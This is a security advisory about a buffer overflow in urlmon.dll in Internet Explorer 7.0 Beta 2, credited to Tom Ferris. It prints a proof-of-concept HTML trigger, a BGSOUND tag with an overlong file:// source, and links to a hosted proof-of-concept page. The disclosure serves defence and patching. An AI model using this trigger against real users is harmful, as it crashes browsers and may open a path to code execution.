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Internet Explorer 7.0 Beta 2 urlmon.dll Buffer Overflow
------------------------------------------------------------------------
SUMMARY
A buffer overflow within Internet Explorer 7 Beta 2 allows attackers to
execute arbitrary code or cause a DoS and crash the program.
DETAILS
Vulnerable Systems:
* Internet Explorer version 7.0 Beta 2 (7.0.5296.0)
When running a specially crafted .html file, urlmon.dll inproperly parses
the 'BGSOUND SRC=file://---' (approx. 344 dashes) and causes the crash.
The following HTML code will trigger the crash:
<BGSOUND SRC=file://-----------------------------------------
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
--------------------------------------------------------------------------------
---------------------------------------------------------------- >
Or access the following URL:
<http://www.security-protocols.com/poc/sp-x23.html>
http://www.security-protocols.com/poc/sp-x23.html
ADDITIONAL INFORMATION
The information has been provided by
<mailto:tommy@security-protocols.com> Tom Ferris.
The original article can be found at:
<http://www.security-protocols.com/advisory/sp-x23-advisory.txt>
http://www.security-protocols.com/advisory/sp-x23-advisory.txt
Tom Ferris blog about the vulnerability can be found at:
<http://security-protocols.com/modules.php?name=News&file=article&sid=3169>
http://security-protocols.com/modules.php?name=News&file=article&sid=3169
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